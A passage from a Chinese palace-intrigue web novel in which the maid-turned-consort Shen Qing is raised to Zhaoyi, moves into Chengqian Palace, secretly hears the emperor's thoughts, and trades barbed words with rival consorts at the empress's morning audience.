星罗面露疑惑,低声询问:“婕妤,我们不去找楚贵人吗?” 在避暑山庄时,嫣婕妤就和楚贵人走动了几次,只是频率不高,也多有他人在场。 嫣婕妤此举并不引人注目,但星罗知道婕妤是刻意为之。 几个月前,嫣婕妤恩寵稍降的时候,便盯上了楚贵人。 “我有些累,便不去了。” 星罗闻言忙去扶嫣婕妤的胳膊。 嫣婕妤攥紧手心的瓷瓶,她原本以为楚贵人就极为好命,性格单纯,但长的却是一副聪明模样,宮里有德妃做靠山,宫外也有父兄在朝堂上打拼,自入宫起就恩寵不断,皇上即便有沈青在畔还念着她。 而她呢,也没心没肺不忧不怨,这样的人,她若是皇上也会喜欢几分。 种种迹象表明,皇上是喜爱楚贵人的。 若非中间出了个沈青,而她又恰巧见了沈青是如何与皇上相处的,她今日本该将药送到楚贵人手上。 至于吃与不吃,那是由楚贵人自己做主,但想起在宫中时楚贵人目光艳羡地看向当时怀有身孕的李宛意隆起的腹部,便知道,她犹豫过后多半会吃。 但现在不成了,嫣婕妤想,短时间内出现两名妃子难产而亡,即便皇上再不敏锐,也会意识到不对劲。 她只有一次机会,得铲除最具威胁的人。 可皇上最喜欢谁呢? 嫣婕妤是倾向于沈青的,但楚贵人的恩宠实在太稳了,稳到好似她们都是皇上选出给楚贵人的挡箭牌。 皇上翻楚贵人牌子的次数不少,楚贵人却从未炫耀过皇上对她说了什么,皇上独宠沈青,她也很平淡,连蒋美人都比她有嫉妒心…… 嫣婕妤眉间蹙起,楚贵人是单纯太过,还是说对皇上有信心? 她收起瓷瓶,此事得徐徐图之,不能操之过急- 沈青回到帐篷,便躺到了榻上,白樱端来一杯茶,她优雅且快速地解渴。 白樱便又给她上了一杯。 白桃则拿帕子给她擦手。 沈青的手展开,露出磨红了的手指与手心。 纪宸让钱继将金创玉髓膏拿出来,让白桃退下,他亲自取了膏药来给沈青涂。 沈青看着纪宸,露出了浅笑,便阖眼解乏了一会儿。 许是纪宸的动作太轻柔,沈青原本只想闭目眼神,却不知不觉睡了过去。 再次醒来是被纪宸摇醒的:“用了膳再睡。” 沈青脾气温和,被打搅了也不生气,跟着纪宸去用膳。 今日膳食里的肉是他们早上打的,因为肉放不住,除了他们自己吃,剩下的都分给了御前的宫人。 除此之外,也有几盘素菜与羹湯。 见到没有参湯,沈青满意了,她就怕纪宸冷不防给她递来一碗参汤。 用过了膳,沈青便去补觉了,因为上午太累,她这一觉睡得又快又熟。 直至神清气爽方才醒来,只不过醒来后,便见纪宸坐在床边翻看着书,一旁燃着几盏烛火。 外面天已经黑透了。 “皇上,您怎么不睡?”沈青坐起来,她又日夜颠倒了,不知道现在该继续睡,还是像纪宸那样拿本书打发时间。 纪宸:“朕在等你醒。” 他合上书,看向坐起来的沈青。 沈青:“……”什么也不必说了。 第76章 第76章昭仪一日 之后几日,骑马的浪潮依旧不减,沈青不想去凑热闹,便呆在帐篷里,将一直没看完的书从头到尾看了一遍。 期间宣贵人相邀了一两次,因聊的都是棋啊茶的,沈青没得到关于嬪妃们的信息,便和宣贵人客气了两分。 宣贵人是聪明人,自然知道沈青现在最需要什么,但宣贵人提都没提,可见心底仍覺得沈青不足挂齿。 沈青也明晰宣贵人的态度,慢慢疏远是必然的。 或许不用她主动,待到回了宫,她被封了昭仪,恐怕宣贵人便不会再想见到她了。 毕竟宣贵人一口一个笃定般的妹妹,沈青不用想,就知道宣贵人认为她的位份不会比贵人高。 沈青心里无奈,宣贵人不管抱着什么目的想拉拢她,隐晦的高傲好歹藏严实了,还真拿她当棋子用? 沈青心里腹诽,皇后拿她当棋子,是因为皇后地位高,她也是皇后的宫女,可宣贵人怎会覺得一两句示好就能摆布得了她? 仅凭攻心?可攻心明明是她的好手段,只要她想,皇后、皇上不皆在某一时刻被她笼络住了? 在猎场的时间是短暂的,八月下旬,秋狝接近尾声。 八月底,队伍到达京城,宫门口站着德妃一行人,贤妃没来,听说是二皇子病了,需贴身照料。 太后趁此夸了贤妃一句。 纪宸亦给面子的点了点头。 之后,皇帝回到乾清宫,太后皇后与众嬪妃各回各宫。 一番歇整后,在后宫嬪妃还没反應过来时,一道冊封昭仪的圣旨便降了下来。 这不仅打了后宫嫔妃一个措手不及,沈青也愣住了。 纪宸是说过回宫后便冊封,但没想到这么快。 她怔愣片刻后便稳住了心神,收敛了情绪,跪下接旨。 听着錢繼声音穿透力极强地宣读了一遍她早已熟知的圣旨,她心中是冷静的,接着便是一系列繁琐的接旨流程。 她被安排在了承乾宫,承乾宫的偏殿并未住嫔妃。 錢繼贴心道:“承乾宫在去避暑山庄时皇上便命人着手翻修了,那里的布置想来您是喜欢的,昭仪娘娘放心住。” 沈青被白桃扶起,还有些不真实感:“那我现在就去承乾宫?” “昭仪娘娘该自称本宫了,不过皇上说,让您接了旨去见他一面再走。” 沈青点了点头,心想應该的,便熟门熟路去找纪宸了。 方才纪宸还在的,不过一会儿宣旨的功夫他便不见了。 “皇上?”沈青踏进殿内,出声唤纪宸。 还不待她走近,便听到一道幽怨且属于纪宸的声音。 “若沈青表现出一点兴高采烈,迫不及待地抛下朕去承乾宫,朕今晚 绝不去找她。” 沈青挑起一抹笑,纪宸说悄悄话纵然不避着人,至少也该低声些啊。 这般明示,她多少也得裝一裝了。 “原来皇上在这里。”沈青走到窗邊,原本的甜笑在看到纪宸时慢慢落了下来,面露不舍。 纪宸伸手抚了抚沈青毛茸茸的脑袋:“封昭仪了,怎么不见笑的模样?” 沈青心里震驚纪宸的裝模做样,但好歹得给纪宸把他期待的流程走完。 她惆怅道:“舍不得皇上。” 纪宸叹了一口气,看不出是高兴还是不高兴,无奈道:“可你也总不能无名无份跟在朕身邊,乖一点,承乾宫离乾清宫不远。” 【她舍不得朕。】 “?” 沈青迷茫地看向纪宸,盯着他闭上的薄唇猛看,然后倏地脸上放晴,似是被纪宸的一句话给安抚好了。 但只有沈青知道,她听见了纪宸的心声。 这个口是心非的家伙! 明明舍不得的人是他,他却反过来劝她。 那方才她听到的那声自语,不必询问,定也是纪宸的心声。 沈青拉住纪宸的手,摇了摇,笑问道:“那皇上今晚去承乾宫吗?” “你在承乾宫的第一日,朕自是要去的。” 得到满意的答案,沈青服了服身,极为正经道:“那臣妾在承乾宫恭候皇上。” 【像模像样。】 纪宸嗯了一声。 “先别走,朕有东西给你。” 准备离开的沈青默默顿住了脚,纪宸去找来了一个落了锁的铁匣,递给了她。 沈青手里一沉:“这是什么?” 纪宸将锁也一同递给她,见她开锁后,轻描淡写道:“一些俗物。” 沈青心里有了猜测,但这她不妨碍打开后看到装了一整个匣子的金餅而面露驚喜。 没有任何印记,可以随意使用的金饼。 发财了! 沈青望着金餅的眼尾湿润,接着看向纪宸:“皇上怎么想起来给我送这个?” “补的生辰礼。” 当初沈青在生辰前说的喜欢俗物他压根没忘,但当时沈青就在他身边,彼时送去,跟左手倒右手有什么区别? 现在不同了,沈青成了嫔妃,有了自己的库房,且若无银錢赏下人,谁又能真心尊重她? 沈青惊訝道:“您竟还记得我随口说过的话?” 纪宸无奈:“该自称臣妾了,朕记性好,你说的什么朕都记得。” “这不还不适应么,皇上待臣妾真好。”沈青亲了亲纪宸的下巴,“白桃白樱在等着臣妾,臣妾先走一步了。” 纪宸默许,沈青这才一步三回头离开。 出来后,沈青也没将装有金饼的匣子交给白桃,而是一路抱去了承乾宫。 承乾宫的宫人是由御前挑的,钱继没有经手此事,那便只可能是王积贵选的。 王积贵不会坑她,又眼光毒辣,沈青看着纷纷向她行礼唤她昭仪娘娘的宫人,默了默。 其实她这个昭仪只是有了圣旨,待到吉日行了册封之礼才算名正言顺。 宫人没有听见吩咐,仍低眉顺眼。 沈青问:“承乾宫的大太监是谁?” 一个白白胖胖的太监小跑了出来:“奴才聞喜见过昭仪娘娘。” 沈青并不太认得他,但见他一笑脸颊便浮出两道酒窝,便觉得顺心。 “聞喜。”沈青叫着他的名字,“那便仍由你担任承乾宫的大太监,有事找白桃或白樱,特殊情况再来找本宫。” 闻喜连忙应下,胖胖的脸上时刻挂着笑。 忙客气地看向白桃白樱,一时之间竟有些辨不清二人,即便现下问了谁是白桃谁是白樱,恐怕过一会儿又会混淆。 于是他只能求助沈青。 沈青倒能认得出,特别沉得住气的是白桃,稍机敏的是白樱:“这位是白桃,这位是白樱,相處的久了,便能分清了。” 闻喜眨了眨眼,机灵道:“奴才见过两位姐姐!” 既然分不清,便都叫白姐姐好了。 沈青让闻喜退下,除此之外并不急于提拔宫人,先带着白桃和白樱逛一逛承乾宫。 承乾宫被装飾打扫一新,却非富丽堂皇能闪瞎眼的模样,而是低调中透着奢华,所有用具都很精致贵重,偏偏摆放在一起又能让人觉得舒心。 沈青确实很喜欢金子,但这不意味着她想住在金灿灿的地方,住處当然是以舒心为主。 她将匣子中的金饼取出一块,交给白樱,道:“将这块金子打成金瓜子,若有耗费,从金饼里扣就是。” 白樱接过,眼底浮现訝然,她原以为昭仪会拮据一段时间,没想到她出手就是沉甸甸的一块金饼…… “是。”白樱掩下思绪,应下。 “承乾宫的宫人既跟了本宫,理应得些好处,才不叫人心浮躁,便封三个月的月钱给他们,白桃,这件事交由你来办。” 沈青思索着自己的小金库够不够这次的耗费,然后发现,即便是宫女时的积累,也完全够用了。 且她的大匣子,也被钱继找人从坤宁宫她的住处般到了这里。 换言之,她的钱都在手头。 将足额的钱交给了白桃,殿内默默侍立的宫人都不由自主激动起来。 她们这位昭仪,是个大方的主! 怪不得人能是昭仪呢! 沈青从底层升上来,自然知道如何收买人心。因为地位悬殊,主子的一点点恩赏就能被宫人记在心间,既如此,何乐而不为呢? 看着以她为主的宫人,沈青这才有了成为嫔妃的真实感。 但她也不会因此而大意,从前她能听到杜婕妤、皇后的心声,是因为她是她们的宫人,但现在,她成了嫔妃,反而能听到纪宸的心声。 这说明纪宸的地位凌驾于她之上。 沈青这个时候就要夸一夸这个金手指了,纵然地位相反,但下位者能听到上位者的心声,这一点便弥补了她与纪宸地位上的差距。 知道纪宸所想,只要她不作死,她便不会死。 以往她哄纪宸,哄了半天才给了好脸色,这之后,有心声辅助,岂不是手拿把掐? 只除了她得装作没听到纪宸的心声,偶尔犯犯蠢。 不过在这方面沈青经验丰富,毕竟前面还有杜婕妤和皇后让她练手,杜婕妤不精明,但皇后却是个心思敏锐的聪明人,即便如此,沈青也没露出丝毫破绽。 白桃白樱出去办事,沈青便接过了承乾宫的账册翻阅着。 越看她越惊讶,原本她在纪宸身边用过的首飾以及太后赏的物件全在这里,并登记造册收入库房了,除此之外,还有许多其他饰品,以及她曾见纪宸把玩过的珍奇古玩。 不用说,纪宸必是从他的私库里倒腾了些玩意儿塞她库房里了。 沈青合上账册,问向一旁的宫女:“今日小廚房可有人当值?” 宫女点头:“小廚房每日都有人。” 沈青闻言便点了几道她和纪宸都爱吃的菜,除了给纪宸准备惊喜,若小厨房做的味道不好,也可以趁此机会让纪宸换一个厨子过来。 沈青的眼眸清澈乌亮,任谁也不知她打的是这个主意。 承乾宫即便今日进了新的主位娘娘也是有条不紊,一派安然的模样,宫人更是个比个不骄不躁,但从他们的精气神,可以看出他们是有盼头的。 但其余各宫,却炸开了锅。 人是晌午刚过下旨封的昭仪,各宫的瓷器是下午一起碎的。 就连坤宁宫,皇后也失手摔瑕疵了一柄玉如意。 青古将玉如意捡起来,捧在手心,担忧道:“娘娘。” “她是本 宫的人,本宫自然盼着她好,但她若敢背叛本宫,届时便需你出手了。” 青古敛目,下毒手下多了,她自然知道皇后这是什么意思。 皇后对沈昭仪,约莫是复杂的,既想她过得好,又不想她过得太好。 第77章 第77章昭仪二日 落日熔金,暮云合璧。 钱继琢磨着今天总该翻牌子了吧,却见端着绿头牌的小太监刚踏进来,皇上便利落起身道:“不必翻了,去承乾宫。” 因承乾宫离御前不远,纪宸没有乘圣辇,而是走着去的。 承乾宫内,宫人忙忙碌碌在准备膳食,沈青坐在铜镜前,在看佩戴哪支簪子更襯她。 最后选定了一支白玉簪。 她刚抚了抚发髻,便听到宫人说,皇上到了。 沈青起身,望着天色讶然,不过不妨碍她笑着去迎纪宸,她到纪宸面前,微微服身:“臣妾参见皇上。” 纪宸抓住沈青的手腕:“免禮,你在做什么?” “嘱咐宫人准备膳食,在选戴哪个簪子好。” 纪宸的目光落到沈青发间的玉簪上,神色微微收敛:“喜欢玉簪?是很襯你。” 【王积貴当初送的就是玉簪……】 因为是旁人送的玉簪,所以当初摔的时候心情是说不出的畅快。 沈青震惊于当初纪宸摔她玉簪居然是故意的,但面上还是露出一抹温婉的笑意,不见丝毫停顿道:“若论喜欢,臣妾还是更喜欢陛下送的俗物。” 不过纪宸说的衬人,她默认了。 她挑玉簪,确实是看玉簪衬得她有几分脱俗,配上夜色,能美得讓人目不转睛。 都是昭儀了,自然要怎么应景怎么打扮,怎么好看怎么打扮。 纪宸便知道她会这样说,这般看来,只有他是小人之心,计较太多。 沈青对玉簪,并无太多情愫。 纪宸没忘他也送过玉簪给她,不过第一次送时是因为原本的玉簪碎了,才讓钱继在库房里找了一支,并无什么特殊。 所以沈青未对玉簪抱有特殊的感情,纪宸是舒心的。 沈青面上还在与纪宸交談,半点不受杂乱的心声影響。 这是在承乾宫,沈青自己的地盘,不过半日,她便已经熟悉了,反牵着纪宸的手落座。 “臣妾讓承乾宫的小廚房做了几道菜,皇上尝尝合不合心意。” 她也不去问纪宸用没用膳,这么早来,八成没用,就算是用了,她也得让纪宸品鉴一番。 纪宸不经意道:“朕亲自给你挑的合你口味的廚子,想来是不差的。” 【终于说出来了。】 沈青惊喜地看向纪宸,双眸晶亮:“皇上好细心,居然连厨子都为臣妾选好了。” 好一个超绝不经意。 连着拿纪宸试厨子都要有些亏心了,沈青想着。 “臣妾当真是无以为报。” 两人的視线短暂交织。 【有可以报答的。】 沈青忍了又忍,在纪宸温和的目光下终究是红了脸。 纪宸意有所指道:“看来青青与朕的心意相通。” 宫人虽对这话摸不着头脑,但与皇上心意相通可是个極高的评价,恐怕今后再没有人注意不到承乾宫了。 沈昭儀,实在是个当宠妃的命。 沈青寧可不要这样的心意相通,轻轻嗔了纪宸一眼,劝他用膳。 纪宸并不是急躁的人,闻言执起筷子。 无论何时何地,皇帝用膳总会有人验毒,所以沈青和纪宸一起用膳是很放心的。 待到吃饱喝足,沐浴一番,两人已经躺到了床上。 纪宸问道:“承乾宫可有什么不顺意的地方?” 他方才在沈青沐浴时,简单扫了一眼,一些东西的摆放可以看出有用过的痕迹了。 这般看来,应是满意承乾宫的。 沈青自是说没有,可她刚说了一个字,便感受到纪宸的手落到她后颈,拇指轻轻抬起她的下巴,耳鬓厮磨后吻了上来。 沈青抓着纪宸的衣襟,想说明天得去坤寧宫請安,不要太多次,但转念一想,有些时候,請安时的疲乏春意才更诛心。 以她如今的地位,也不需顾忌这事了。 沈青给自己的定位是宠妃,宠妃自然不会柔弱可欺,百般周全。 于是,一双雪白的臂膀揽上了纪宸。 纪宸很爱沈青主动的样子,因为这种时候可不太多,他如同被激励了一番,抓住了这次机会。 …… 睡着时仍保持着推搡姿势的沈青心里已经后悔了,她庆幸已经交代过白桃第二天请安时提早喊她一声,留出梳妆的时间。 翌日寅时中,纪宸起身,他不过拿起沈青的手臂,她便惊醒了。 “现在还早,再睡一会儿。” 沈青算着纪宸上朝的时间,基本和她请安的时间没什么差别了,便不敢再睡。 她摇了摇头:“等请安回来再睡。” 纪宸:“去坤宁宫卯时起便赶得上。” 承乾宫离坤宁宫也不是很远。 沈青还是凭借着顽强的意志跟纪宸起来了:“今天是第一次去请安,合该重視一些。” 纪宸有点心疼,但不好说什么。 沈青知进退懂规矩,他又能指摘什么,于是爱怜地摸了摸她毛茸茸的脑袋。 宫人服侍纪宸穿衣,沈青站在旁边意思了一下,虚虚地抬了抬手。 成功将纪宸送走后,沈青坐下,开始由宫人给她梳妆。 她都困得睁不开眼了,在宫人询问戴哪支首饰时,脑海中不由自主想起昨天纪宸的问询,便道:“就这支金钗吧。” 这是纪宸送的,也極适合招摇。 从殿内出来,登上轿辇,一行人往坤宁宫走去。 到了坤宁宫,沈青下了轿辇,打起精神,进入殿中。 她虽起的早,但梳妆了许久,来得并不算早,她扫了一眼空置的凤椅,听着坤宁宫的宫人態度极好地唤着昭儀娘娘,将她引到了右边第二个位置上。 这个宫人沈青认识,便对她微微颔首。 宫人得体退至一旁,眼中没有什么愤愤之色。 见此,沈青便明白了皇后对她的態度。 坐下之后,早已到了的嫔妃依着规矩向她请安,沈青露出一抹笑,觀察起诸位嫔妃。 今日比她早到的嫔妃不少,除了贤妃德妃与生育了三皇子的李婕妤,跟随贤妃的何才人蒋美人外,都到了。 贤妃和德妃一般都是姗姗来迟,而李婕妤和何才人、蒋美人去等着二妃,自然也会晚到。 宣貴人果然如所料般并不想与她对视,嫣婕妤与玉嫔神情镇定,楚贵人看不出什么,只抬眼觀察了她一番,陈美人对她是探究,蘭婕妤则是不屑,但她总冷着脸,沈青便略过了她,至于章才人,则是对她颇为友好,若非时机不对,恐怕已经攀談了起来。 章才人是皇后的人,亲近她也说得过去。 沈青的视线扫过,也不过是过去了几息,嫔妃们刚蹲下。 她无意在行禮上打她们一个下马威,便道:“起身吧。” 她实在叫不出妹妹们这几个字,便含混了过去。 沈青在观察她们,她们又何尝不是在观察沈青。 沈青是昭仪,她们除非封妃,不然就得被她死死压在头上,原本有打算的嫔妃也默默偃旗息鼓了。 一个没有家世只有宠爱的人,皇上怎就给她了高位? 真是让人不平! 嫔妃们重新落座,沈青端起茶水闻了闻,方喝了一口。 玉嫔很自然交谈起来:“那日在避暑山庄一遇,谁也没想到当日一个小小的宫女,竟成了昭仪娘娘,当真是造化弄人。” 沈青温言道:“有道是今时不同往日,当年本宫在杜婕妤身边时,也没想到当时平平的卫贵人也在短短时间内成了玉嫔。” “本宫记得,玉嫔弹得一手好琵琶。” 玉嫔敛眸,心绪起伏间便明白沈青并不忌讳旁人提她当宫女的日子。 而沈青的话也表明她记得她的从前。 玉嫔深恨当初被杜婕妤羞辱弄断琵琶弦的事,而沈青漫不经心提起此事的模样更显得心机深沉。 玉嫔拿帕子按了按嘴角:“沈昭仪说得是。” 蘭婕妤和玉嫔同在曾经的杜婕妤手上吃过亏,蘭婕妤见玉嫔瞬间败下阵来,也歇了和沈青不客气的心思。 主要是陈美人经常拿话刺她,而她除了示意高家收拾陈美人的家里外再无钳制她的办法,于是竟学会了出口前斟酌几分。 陈美人对蘭婕妤的谨慎目露遗憾,不期然对上沈青视线,露出一抹笑道:“还未知道沈昭仪的家里是做什么的,京中好似没有姓沈的望族。” 沈青淡笑,她早做好了旁人会拿她出身说事的准备,只是没想到这个人会是陈美人:“沈家不过区区一商贾,不值一提。” 陈美人闻言兴致缺缺,又盯上兰婕妤。 而其他人眼中则兴奋地闪了闪,终于让她们抓住了沈青的短处。 玉嫔都不再提沈青做宫女的时候,她们自也不会再提,毕竟她们去年才进宫,若是被沈青 说上一句,去岁在储秀宫见你,你尚且稚嫩。那真是羞也羞死了。 而沈青的位份,这般忆往昔也是合适的。 沈青注意到了陈美人失望的态度,目光在她和兰婕妤身上转了转,脑海中有了些明悟。 陈美人失望于她的家世,那满意兰婕妤也是满意兰婕妤背后的高家吧。 兰婕妤易怒,受不了气,但面上除了冷脸又是极体面的人,当初亲自出手针对杜婕妤也是杜婕妤先羞辱她,这一年下来,可没听说兰婕妤罚过陈美人。 陈美人“触怒”的度也掌握的太好了,抛开性格不谈,很难不让人猜想陈美人是想利用兰婕妤做些什么。 可兰婕妤受气,只会想教训陈美人或是陈家,但看陈美人对兰婕妤一年多来不变的态度,想来陈美人是达到目的了。 沈青记得陈美人陈皎家里不过九品小官,因容貌而过五关斩六将入宫,她惹兰婕妤,岂不是给陈家招祸事? 还不待她想试探一番兰婕妤关于陈美人的事,便听到拖着长腔的贤妃娘娘到,原本想借家世找茬的嫔妃也闭上了嘴,众人起身行礼。 贤妃的位置在沈青斜对面,她站定在沈青的面前,眼睛微眯,是一种高高在上看不起的姿态。 二皇子生着病,皇上却仅在下午去看了一眼,晚上却并未去长春宫,而是早早去了承乾宫。 思及蒋美人提到的沈青在避暑山庄的独宠,贤妃更无法平静了。 所以在沈青对她半蹲行礼时,她慢悠悠地坐下,并不急于叫起。 良久,见沈青都不稳了,才大发慈悲道:“起吧。” 众嫔妃都松了一口气,贤妃哪是罚沈昭仪,这是将低于她位份的嫔妃全都磋磨了一遍。 忽然,一道清脆悦耳的声音響起。 “何才人蒋美人,本宫让你们起了吗?” 众人愕然地看向沈青,只见沈青并不掩饰长久行礼的不适,她虽是说何才人和蒋美人,挑衅的目光却明晃晃落在了贤妃身上。 何才人与蒋美人求助地看向贤妃 贤妃端起茶盏的手一顿,将其重重搁下。 “沈昭仪是要当着本宫的面立规矩吗?” “臣妾不敢。”她微微垂首,说着不敢,神情却颇为大胆,“只是臣妾不明白,行礼时,若高位嫔妃不叫起,低位嫔妃就可以随意起身了吗?” 贤妃怎会不知她什么意思,分明是在不服她方才的行径。 若是承认可以,那日后沈青岂不敷衍了事,若是承认可以,那沈青现在做的,便没有什么问题。 贤妃看向沈青,目光饱含威压,并不语。 心中与沈青不对付的嫔妃也默默给沈青捏了把汗。 而沈青在贤妃的目光下,却显得怡然自得,并露出一抹温婉的笑容,丝毫不受影响。 她和皇上已经对视了不知多少次,怎会惧贤妃的目光? 贤妃唬其他嫔妃可能会事半功倍,但可唬不住她。 这时,通报的声音再次响起,不是德妃,而是皇后。 皇后施施然走上去,坐到皇后宝座上,她方才听着宫人传话,已经将这场闹剧了解地七七八八了。 沈青一下子将玉嫔和贤妃都得罪了,忽然,皇后觉得心里也没那么气了。 皇后落座,佯装不知方才的事,让众嫔妃平身。 却在此时不期然对上了一双亮晶晶邀功一般的眼眸,女子唇畔含笑,目不转睛地看向她,却在她看过来时,露出了几分羞涩。 似乎在说,皇后娘娘,看我厉不厉害? 皇后一愣,沈青是知道她不喜甚至恨着贤妃的,因为当初怀孕时贤妃出手害过她,所以方才沈青针对贤妃,是在给她出气? 心中一瞬间杂乱起来。 她不得不承认,沈青没变,是她心态变了。 皇后尝试着给沈青露出莫要调皮的无奈笑意,原以为会很难,结果流露的分外自然。 沈青惊住了,她是在讨好皇后,不想与皇后生分起来。 但没想到皇后待她却比以前更亲密无间了。 真心实意与虚情假意她还是能分辨出来的。 见此,沈青的笑容也真实了几分,大着胆子与皇后眉目传情起来,传的,自然是她真挚的不二心。 不到万不得已,她也不想和皇后对上啊。 第78章 第78章昭仪三日 皇后的一声平身,何才人蒋美人如蒙大赦坐下。 蒋美人惺惺相惜地看向何才人,她上次对上沈青还是在避暑山庄太后那里,那时的沈青根本没有这么大的脾气,即便太后罚她,她也未有反驳顶撞的行径。 后面还是皇上来给沈青做主,出气般把她给罚了。 蒋美人没有意识到那日的暗潮涌动,在跟着贤妃一同来請安时将沈青在避暑山庄的事抱怨着说与了贤妃。 想着沈青好拿捏,且便是成了昭仪,贤妃的位份也在她之上,打压一个她还不是顺手的。 恰好贤妃本就火大,蒋美人不信沈青还跟上次一样幸运。 只是没想到,沈青成了昭仪,跟变了一个人似的,逮着她和何才人不放,与贤妃暗怼。 也幸好有个何才人,不然她今日丢脸可丢大发。 何才人知道蒋美人在拱火这一方面出了多大的力,对她不耐的很,面上也流露出了几分,觉得自己今日实乃无妄之灾,现下一看沈昭仪与皇后的模样,又怎不知沈昭仪是皇后娘娘的心腹。 想着私底下得跟沈昭仪修复一下关系,并借着此事将蒋美人踩離了贤妃身邊。 要她说,今日贤妃失了脸面,全赖蒋美人。 蒋美人看出了何才人对她的厭烦,却不敢翻个白眼不屑回去。 二皇子是何才人生的,虽她们不会挂在嘴上说此事,但事实就是事实,即便何才人的位份比她低,也有底气对她甩脸色。 见到蒋美人与何才人对上沈青说不上一句话,其余嫔妃不由对这位沈昭仪更加慎重了。 皇后到的时机太不偏不倚,原本贤妃以为沈青是皇后推出的人,会对沈青偏袒許多,也乐于看她的笑话,但皇后选这个时机来,却像是连带着沈青也一起打压了。 她毕竟是贤妃,已经太久没有人敢如此下她面子,一碰到沈青这个硬茬,无论怎么反击都显得那么无力,一时棘手的很。 皇后出现,贤妃其实是松了一口气的,以后的时间还长,她不相信斗不过一个小小的昭仪,且看来日。 但皇后与沈青之后的眉眼官司却讓她看糊涂了,她凝神,想找出二人虚情假意的破绽,却没发现丝毫。 皇后开口道:“皇上新册封了一位沈昭仪,妹妹们今日也是见过了,日后可莫要冲撞了上去。皇上和本宫唯盼后宫嫔妃能亲如姐妹,和睦相处。” 在场的嫔妃起身,齐声道:“谨遵皇后娘娘教诲。” 再次坐下,因贤妃就坐在对面,因此沈青轻易就看到了贤妃对皇后不咸不淡的态度。 说来好笑,贤妃是妃位,却看不起一国之母的皇后,当初她对怀孕的皇后下手,大抵也是抱着这一心态吧,后来被拘在慈寧宫的小佛堂,出来后不对皇后和大皇子下手了,但行事还是无所顧忌,明目张胆夺了何才人的皇子。 感受到沈青的视线,贤妃似笑非笑地看过来。 沈青心中咯噔一下,面上淡笑以对,想着日 后出了承乾宫可得多带些人手了,得罪了贤妃,谁知道她会大胆到什么程度? 但应该是不会上演全武行的,不然她一个小小昭仪自然没什么,但贤妃可就会在德妃和皇后那里沦为笑柄了。 想到这,沈青淡定了許多。 皇后说了几句话,德妃携李婕妤这才赶来。 德妃微微服身:“臣妾来晚了。” 李婕妤则道:“嫔妾参见皇后娘娘,嫔妾来迟了,請皇后娘娘责罚。” 几月不见,德妃仍是盛极了的模样,李婕妤则略丰腴了些,更显得平淡无争。 对于这样的李婕妤皇后自然不会罚,便讓她们坐下了。 沈青的上首是德妃,下首是林嫔。 德妃斜坐着,端起茶盏时離沈青极近,沈青甚至能看清德妃手上蔻丹的鲜亮光泽。 德妃勾起唇角:“这位便是沈昭仪吧?” 沈青对德妃微微颔首:“正是臣妾。” 德妃身上有种深不可测的感觉,即便这两年在后宫被提起的次数少了些,沈青也不敢小看她,对待她比对待贤妃更要慎重几分。 德妃道:“果真是位美人,怪不得能引得皇上念念不忘,诸位妹妹心神不寧。” 沈青似是没听出德妃的意思,双颊染上了羞谨的薄红,单纯道:“德妃娘娘也长的惊为天人,是一等一的好容貌。” 德妃气势凌厉到让人不可直视,是位富貴花的长相,张扬不羁。 话被沈青软声挡了回来,德妃面上失了笑。 她道:“我们当嫔妃的,自不能学前朝的妖妃,做出那等独霸皇上的事,本宫觉得以前后宫的氛围便很好,沈昭仪,你觉得呢?” 德妃手里有楚贵人这个得宠的人在,对于沈青独占皇上自然要说道几句,才能不讓楚貴人寒了心。 且一个寵妃的出现,对她也是不利的。 有嫡长子和寵妃在,就算她的根基再深,三皇子也绝无继位的可能。 所以德妃即便自己不在意恩宠,也不会允許沈青一人独大。 德妃的话说的直白,沈青知道装傻充愣是混不过去了,便做出了招人恨的无辜表情:“德妃娘娘说得极是,可臣妾一个昭仪怎么能左右皇上的意思,还不是皇上……” 她低头,搅着帕子,眼中潋滟着羞人的水光。 满室生辉。 众嫔妃的目光尽在沈青身上,见她如此做作模样却并不会让人生厭,反而会惊叹于她对表情拿捏的恰到好处,便明白了宫中这么多美人,皇上为什么会这般喜歡她,喜歡到直接封了昭仪,不过她们更惊讶于她的不相让。 德妃的一句妖妃其心可诛,原以为沈青会退一步,却没成想她直接搬出了皇上。 沈青声音浅浅,补足了方才的话:“若德妃娘娘意指臣妾为妖妃,臣妾是不能同意的,若臣妾是妖妃,那皇上又是什么?” “德妃娘娘,您真的是这个意思吗?”沈青抬眸,觑了德妃一眼。 嫣婕妤默默听着,她原以为沈青会是她的对手,却没想到她可能根本没被沈青放在眼里。 今日请安过后,沈青便立起来了,恐怕之后提起沈昭仪,只会把她和德妃贤妃放在一起。 嫣婕妤心中泛酸地想,她面对德妃贤妃中的任意一个都得恭恭敬敬地尊着捧着,沈青却这样毫无顧忌,不就是因为皇上愿意抬她位份,给她无上荣宠吗? 得找个机会,将药丸给沈青了。 她再得宠,也是期望能孕育皇嗣的吧,且沈青若怀孕,便不好再霸着皇上了,她也有机会笼络住皇上。 德妃手指轻点着桌面,笑道:“本宫自是没有这个意思,只是觉得沈昭仪是位妙人,随意提起罢了。” 因话头不是贤妃起的,贤妃没有德妃的顾虑,难得与德妃站在了同一立场。 “巧舌如簧的小丫头,这后宫可不是随意两句就能摆布的地方。” 沈青舒展眉梢,在贤妃话音刚落便自然地对皇后誇讚道:“皇后娘娘腕上的翡翠镯子水头可真足,怕是只有娘娘这样的国母才能戴得出这份雍容华贵。” 章才人闻风而动,也奉承起皇后。 坤宁宫终究是皇后的地盘,其余嫔妃自不好忽视了皇后,于是目光纷纷落到皇后身上,众星捧月般一人一句誇讚起来。 被完全忽视了的贤妃面色有一瞬间的铁青。 她未指名道姓斥骂,沈青自然乐得不接她的话,若是贤妃指明了骂她,她兴许还得思忖一番才能回击。 沈青也不去看贤妃,将贤妃忽略了个彻底。 皇后连着看了几场大戏,当嫔妃的目光落到她身上,她自是稳稳接住了。 请安在和气的氛围中结束,贤妃先一步甩袖离开,德妃也慢悠悠走了。 沈青则留了下来。 她示意皇后屏退众人,只留青古在身邊。 “皇后娘娘,臣妾有一事不明,不知娘娘可否为臣妾解惑?” 皇后倾耳:“但说无妨。” 沈青这才将香膏一事说明:“娘娘在水芳岩秀给臣妾的香膏中被加了催情的东西,当日皇上生气也有这一方面的原因,后来臣妾在御前呆久了,才打探出原来皇上是极厌恶这类东西,所以臣妾不明白,娘娘为何要给臣妾这种香膏。” 她委屈地看向皇后,观察着皇后的反应。 皇后是真的惊讶了,一愣道:“本宫是真不知皇上厌恶这种东西,才让青古加的,为的便是事半功倍……但本宫最初没有这个想法,还是有人献言,本宫会让人好好查查。” 皇后的表情不似作伪。 